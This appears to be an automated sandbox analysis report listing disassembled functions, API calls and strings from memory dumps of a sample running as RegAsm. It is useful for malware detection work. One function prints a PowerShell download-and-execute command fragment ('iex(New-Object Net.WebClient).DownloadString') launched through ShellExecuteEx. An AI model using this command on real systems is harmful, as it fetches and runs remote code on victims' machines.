Part of subcall function 6C319420: __Init_thread_footer.LIBCMT ref: 6C31949F

GetCurrentThreadId.KERNEL32 ref: 6C31E12F
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,6C31E084,00000000), ref: 6C31E137

Part of subcall function 6C3194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C3194EE
Part of subcall function 6C3194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C319508

?profiler_stream_json_for_this_process@baseprofiler@mozilla@@YA_NAAVSpliceableJSONWriter@12@N_N1@Z.MOZGLUE ref: 6C31E196
?profiler_stream_json_for_this_process@baseprofiler@mozilla@@YA_NAAVSpliceableJSONWriter@12@N_N1@Z.MOZGLUE(?,?,?,?,?,?,?,?), ref: 6C31E1E9

Part of subcall function 6C3199A0: GetCurrentThreadId.KERNEL32 ref: 6C3199C1
Part of subcall function 6C3199A0: AcquireSRWLockExclusive.KERNEL32(6C35F4B8), ref: 6C3199CE
Part of subcall function 6C3199A0: ReleaseSRWLockExclusive.KERNEL32(6C35F4B8), ref: 6C3199F8

Strings

[I %d/%d] WriteProfileToJSONWriter, xrefs: 6C31E13F

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: getenv$?profiler_stream_json_for_this_process@baseprofiler@mozilla@@CurrentExclusiveLockSpliceableThreadWriter@12@$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [I %d/%d] WriteProfileToJSONWriter
API String ID: 2491745604-3904374701
Opcode ID: ca785608209147dd2030b46043eabf16f2b9bb19e52f590dde1253a050c20559
Instruction ID: 53a7710efd9ee61662191489c529e033caa8b6b4f93c17a2c9c5e829c9d12294
Opcode Fuzzy Hash: ca785608209147dd2030b46043eabf16f2b9bb19e52f590dde1253a050c20559
Instruction Fuzzy Hash: 3A31E1B2A083049FC708EF59C4442AAFBE5AFC920CF54882DE8855BF41DB718909CF93

Function 6C30F440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6C30F480

Part of subcall function 6C2DF100: LoadLibraryW.KERNEL32(shell32,?,6C34D020), ref: 6C2DF122
Part of subcall function 6C2DF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C2DF132

CloseHandle.KERNEL32(00000000), ref: 6C30F555

Part of subcall function 6C2E14B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C2E1248,6C2E1248,?), ref: 6C2E14C9
Part of subcall function 6C2E14B0: memcpy.VCRUNTIME140(?,6C2E1248,00000000,?,6C2E1248,?), ref: 6C2E14EF

Part of subcall function 6C2DEEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6C2DEEE3

CreateFileW.KERNEL32 ref: 6C30F4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6C30F523

Strings

\oleacc.dll, xrefs: 6C30F4CB

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: f028d60a7c7440d4510cf30b343a2e868a53a43eaaa8b4693aaa360e09ebdd6f
Instruction ID: 432a502d551956898b6df39a2fc0c941e5366a3312608d0a6a124cc1e0158760
Opcode Fuzzy Hash: f028d60a7c7440d4510cf30b343a2e868a53a43eaaa8b4693aaa360e09ebdd6f
Instruction Fuzzy Hash: 7341DF317087109FE721DF29D884A9BB3F8AF88318F504A1CF99097650EB30E949CF96

Function 6C310210 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103memoryCOMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(?), ref: 6C310222
moz_xmalloc.MOZGLUE(0000000C), ref: 6C310231

Part of subcall function 6C2ECA10: malloc.MOZGLUE(?), ref: 6C2ECA26

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C31028B
RtlFreeHeap.NTDLL(?,00000000,00000000), ref: 6C3102F7

Strings

@, xrefs: 6C3102D8

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: ExclusiveLock$AcquireFreeHeapReleasemallocmoz_xmalloc
String ID: @
API String ID: 2782572024-2766056989
Opcode ID: 7dd19bd0434e32667f6c8b2ed70cc7a3e12ee97fbd711132977622a4b680b240
Instruction ID: 4ffb46412e841ca4f0a8d7a6d0da979a64272f2304941b36896c305307cc4573
Opcode Fuzzy Hash: 7dd19bd0434e32667f6c8b2ed70cc7a3e12ee97fbd711132977622a4b680b240
Instruction Fuzzy Hash: C131A0B1B046508FEB58CF58C88062AB7F5FF44718B28892DD95AEBB40D771EC12CB91

Function 004127A0 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 99COMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

ShellExecuteEx.SHELL32(0000003C), ref: 00412895

Strings

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, xrefs: 00412814
')", xrefs: 004127C3
-nop -c "iex(New-Object Net.WebClient).DownloadString(', xrefs: 004127D4
<, xrefs: 00412849

Memory Dump Source

Source File: 00000002.00000002.2377548003.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2377548003.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpy$lstrcat$ExecuteShelllstrlen
String ID: ')"$-nop -c "iex(New-Object Net.WebClient).DownloadString('$<$C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
API String ID: 3031569214-898575020
Opcode ID: b9e5163be950e2e45682f6ac200fb0d902bdae7e536cdbb62e7e9a09a965b0a2
Instruction ID: d376e5d026b6a94438bc85289873f11b5c9f1c1e596dc166cf9a62b6ff5812d0
Opcode Fuzzy Hash: b9e5163be950e2e45682f6ac200fb0d902bdae7e536cdbb62e7e9a09a965b0a2
Instruction Fuzzy Hash: 0E412F70D11208AACB14FFA1D896BDDB778AF10318F40411EF41667192EF782AD9CF5A

Function 6C31E020 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 76threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C319420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C2E4A68), ref: 6C31945E
Part of subcall function 6C319420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C319470
Part of subcall function 6C319420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C319482
Part of subcall function 6C319420: __Init_thread_footer.LIBCMT ref: 6C31949F

GetCurrentThreadId.KERNEL32 ref: 6C31E047
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C31E04F

Part of subcall function 6C3194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C3194EE
Part of subcall function 6C3194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C319508

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C31E09C
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C31E0B0

Strings

[I %d/%d] profiler_get_profile, xrefs: 6C31E057

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: getenv$free$CurrentInit_thread_footerThread__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [I %d/%d] profiler_get_profile
API String ID: 1832963901-4276087706
Opcode ID: f6618314ddd615599c7874ff7415088e48491b735fd6e2cb3519772683014190
Instruction ID: 491e4e3db8df10919f58fc31475a47486216667084e51ced86b9a795a0b80ae8
Opcode Fuzzy Hash: f6618314ddd615599c7874ff7415088e48491b735fd6e2cb3519772683014190
Instruction Fuzzy Hash: 6B218374B042089FDF08DF65D858AEEB7B9AF4920CF544418ED4A97B40DB369909CBE2

Function 6C3374A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6C337526
__Init_thread_footer.LIBCMT ref: 6C337566
__Init_thread_footer.LIBCMT ref: 6C337597

Strings

UnmapViewOfFile2, xrefs: 6C337552
kernel32.dll, xrefs: 6C337557

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: 761d14bb4bd2fd86228dae3831eaf042a5c3f2c2329f5595e6e6bda8bd3243d8
Instruction ID: fa5e901791adbe4e2e63952306d1c0c647a0a3949a42d4286781a2ca6da32608
Opcode Fuzzy Hash: 761d14bb4bd2fd86228dae3831eaf042a5c3f2c2329f5595e6e6bda8bd3243d8
Instruction Fuzzy Hash: 1B212C32700551EFDB188FA9D914E993379EB4F3A8F441528E40947F80D735B811CEA6

Function 004160D0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 70COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,0000003C,?,000003E8), ref: 00416103

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

ShellExecuteEx.SHELL32(0000003C), ref: 004161C6
ExitProcess.KERNEL32 ref: 004161F5

Strings

<, xrefs: 00416179
C, xrefs: 00416109

Memory Dump Source

Source File: 00000002.00000002.2377548003.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2377548003.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpy$ExecuteExitFileModuleNameProcessShelllstrcatlstrlen
String ID: <$C
API String ID: 1148417306-1484909879
Opcode ID: 7c5465ad6f2791ceef377b52a52ad20443ccb7e3d8f32965245a264df9859baf
Instruction ID: 54b6532b0b3a1e4a3a0de688d9ef2eddded6cf57616e9fa182c501fcadca31e9
Opcode Fuzzy Hash: 7c5465ad6f2791ceef377b52a52ad20443ccb7e3d8f32965245a264df9859baf
Instruction Fuzzy Hash: F6318EB1801218ABCB14EB90CC86FDEB778AF54314F40419EF20962191DF786B88CF69

Function 6C337930 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 6C2EBF00: ??0ios_base@std@@IAE@XZ.MSVCP140(?,?,?,?,6C337A3F), ref: 6C2EBF11
Part of subcall function 6C2EBF00: ?init@?$basic_ios@DU?$char_traits@D@std@@@std@@IAEXPAV?$basic_streambuf@DU?$char_traits@D@std@@@2@_N@Z.MSVCP140(?,00000000,?,6C337A3F), ref: 6C2EBF5D
Part of subcall function 6C2EBF00: ??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IAE@XZ.MSVCP140(?,6C337A3F), ref: 6C2EBF7E

?setprecision@std@@YA?AU?$_Smanip@_J@1@_J@Z.MSVCP140(?,00000012,00000000), ref: 6C337968
??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEAAV01@_J@Z.MSVCP140(6C33A264,6C33A264), ref: 6C33799A

Part of subcall function 6C2E9830: free.MOZGLUE(?,?,?,6C337ABE), ref: 6C2E985B

??1?$basic_streambuf@DU?$char_traits@D@std@@@std@@UAE@XZ.MSVCP140 ref: 6C3379E0
??1ios_base@std@@UAE@XZ.MSVCP140 ref: 6C3379E8

Strings

4l, xrefs: 6C3379D0

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: U?$char_traits@$D@std@@@std@@$??0?$basic_streambuf@??0ios_base@std@@??1?$basic_streambuf@??1ios_base@std@@??6?$basic_ostream@?init@?$basic_ios@?setprecision@std@@D@std@@@2@_J@1@_Smanip@_U?$_V01@_V?$basic_streambuf@free
String ID: 4l
API String ID: 3421697164-1800608144
Opcode ID: 743b4404c8c26d1a5b6fb77b1cb2c7c19986638df75fb73937eedaaeb53cb98a
Instruction ID: 0e632b3aa98e7d5710e052ae65c98c22d4fbd84f8414505249700d7f31982761
Opcode Fuzzy Hash: 743b4404c8c26d1a5b6fb77b1cb2c7c19986638df75fb73937eedaaeb53cb98a
Instruction Fuzzy Hash: 82215E757043049FCB04DF19D885A9EFBF9EF89314F44885DE9869B351CB30A909CB92

Function 6C337A10 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 6C2EBF00: ??0ios_base@std@@IAE@XZ.MSVCP140(?,?,?,?,6C337A3F), ref: 6C2EBF11
Part of subcall function 6C2EBF00: ?init@?$basic_ios@DU?$char_traits@D@std@@@std@@IAEXPAV?$basic_streambuf@DU?$char_traits@D@std@@@2@_N@Z.MSVCP140(?,00000000,?,6C337A3F), ref: 6C2EBF5D
Part of subcall function 6C2EBF00: ??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IAE@XZ.MSVCP140(?,6C337A3F), ref: 6C2EBF7E

?setprecision@std@@YA?AU?$_Smanip@_J@1@_J@Z.MSVCP140(?,00000013,00000000), ref: 6C337A48
??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEAAV01@_K@Z.MSVCP140(?,?), ref: 6C337A7A

Part of subcall function 6C2E9830: free.MOZGLUE(?,?,?,6C337ABE), ref: 6C2E985B

??1?$basic_streambuf@DU?$char_traits@D@std@@@std@@UAE@XZ.MSVCP140 ref: 6C337AC0
??1ios_base@std@@UAE@XZ.MSVCP140 ref: 6C337AC8

Strings

4l, xrefs: 6C337AB0

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: U?$char_traits@$D@std@@@std@@$??0?$basic_streambuf@??0ios_base@std@@??1?$basic_streambuf@??1ios_base@std@@??6?$basic_ostream@?init@?$basic_ios@?setprecision@std@@D@std@@@2@_J@1@_Smanip@_U?$_V01@_V?$basic_streambuf@free
String ID: 4l
API String ID: 3421697164-1800608144
Opcode ID: b39f9da3c7349df6b812df5bffd5af2e3d21b74d7a1885fbdb36ff1cb84669a1
Instruction ID: a8117067a5b4335d0143dc2021529b5b3cb9211280202cc57e0b857b9f9bd34b
Opcode Fuzzy Hash: b39f9da3c7349df6b812df5bffd5af2e3d21b74d7a1885fbdb36ff1cb84669a1
Instruction Fuzzy Hash: 58214C756043049BCB14DF19D885A9EFBE5EF89314F40885DE9869B351CB30A909CB92

Function 6C33A7A0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C35F770,-00000001,?,6C34E330,?,6C2FBDF7), ref: 6C33A7AF
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,accelerator.dll,?,6C2FBDF7), ref: 6C33A7C2
moz_xmalloc.MOZGLUE(00000018,?,6C2FBDF7), ref: 6C33A7E4
LeaveCriticalSection.KERNEL32(6C35F770), ref: 6C33A80A

Strings

accelerator.dll, xrefs: 6C33A7BF

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: CriticalSection$EnterLeavemoz_xmallocstrcmp
String ID: accelerator.dll
API String ID: 2442272132-2426294810
Opcode ID: 10ab621eff601cd64e7c32b1b75239d46373449a1e469dd24ad7896e2864cc4e
Instruction ID: 32c7177fbe14fe4a4ba6448b3dce145228b23a35ca10a10b672355d0bfc59197
Opcode Fuzzy Hash: 10ab621eff601cd64e7c32b1b75239d46373449a1e469dd24ad7896e2864cc4e
Instruction Fuzzy Hash: 45018BB07013549F9F08DF99D8C8C157BB8FB8A394744806AE8098B711DB71A800CFA1

Function 6C2DF0A0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 26libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ole32,?,6C2DEE51,?), ref: 6C2DF0B2
GetProcAddress.KERNEL32(00000000,CoTaskMemFree), ref: 6C2DF0C2

Strings

Could not find CoTaskMemFree, xrefs: 6C2DF0E3
Could not load ole32 - will not free with CoTaskMemFree, xrefs: 6C2DF0DC
ole32, xrefs: 6C2DF0AD

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Could not find CoTaskMemFree$Could not load ole32 - will not free with CoTaskMemFree$ole32
API String ID: 2574300362-1578401391
Opcode ID: 511a4a3e57ecbe3cf4e982bf40ce0824797d0fab5b7b11470741cffeeaaf926a
Instruction ID: c68c54ed0031a31dd8506970a25069a6b43efd9971017f2f079be5f0f1d339e7
Opcode Fuzzy Hash: 511a4a3e57ecbe3cf4e982bf40ce0824797d0fab5b7b11470741cffeeaaf926a
Instruction Fuzzy Hash: BBE0D8713442069BDF042E62AC18E2737FC6B2610B3848029F802D2E44EF25F010CE55

Function 6C310080 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6C2E7204), ref: 6C310088
GetProcAddress.KERNEL32(00000000,CryptCATAdminAcquireContext2), ref: 6C3100A7
FreeLibrary.KERNEL32(?,6C2E7204), ref: 6C3100BE

Strings

CryptCATAdminAcquireContext2, xrefs: 6C3100A1
wintrust.dll, xrefs: 6C310083

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminAcquireContext2$wintrust.dll
API String ID: 145871493-3385133079
Opcode ID: 918eb817f651aa987d7b03fac7e4922245dee847475d4f6b1dc2a8869b4b804e
Instruction ID: 1e775760d10d41513f6edb1e6f48e0de944940edacd263f7a2d3faa34848be46
Opcode Fuzzy Hash: 918eb817f651aa987d7b03fac7e4922245dee847475d4f6b1dc2a8869b4b804e
Instruction Fuzzy Hash: 61E012783063009FEF08AF26A808B413AFCA70F348FD04416E910C2A00DBBAC0208F21

Function 6C3100D0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6C2E7235), ref: 6C3100D8
GetProcAddress.KERNEL32(00000000,CryptCATAdminCalcHashFromFileHandle2), ref: 6C3100F7
FreeLibrary.KERNEL32(?,6C2E7235), ref: 6C31010E

Strings

wintrust.dll, xrefs: 6C3100D3
CryptCATAdminCalcHashFromFileHandle2, xrefs: 6C3100F1

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminCalcHashFromFileHandle2$wintrust.dll
API String ID: 145871493-2559046807
Opcode ID: 0ba5c9343b969cefdb1a25cc283f5a5268aba6c8e10ad06df76179da2f5194be
Instruction ID: fd0718e46ff570bd806ab96f3b085d04cdddf3425cb02dc81399c0486d6ec9af
Opcode Fuzzy Hash: 0ba5c9343b969cefdb1a25cc283f5a5268aba6c8e10ad06df76179da2f5194be
Instruction Fuzzy Hash: BEE04F743053059FEF045F26DB097223AFCA70B218FE44425E90A81B00D779C060CF50

Function 6C310120 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6C2E7297), ref: 6C310128
GetProcAddress.KERNEL32(00000000,CryptCATAdminEnumCatalogFromHash), ref: 6C310147
FreeLibrary.KERNEL32(?,6C2E7297), ref: 6C31015E

Strings

wintrust.dll, xrefs: 6C310123
CryptCATAdminEnumCatalogFromHash, xrefs: 6C310141

Memory Dump Source

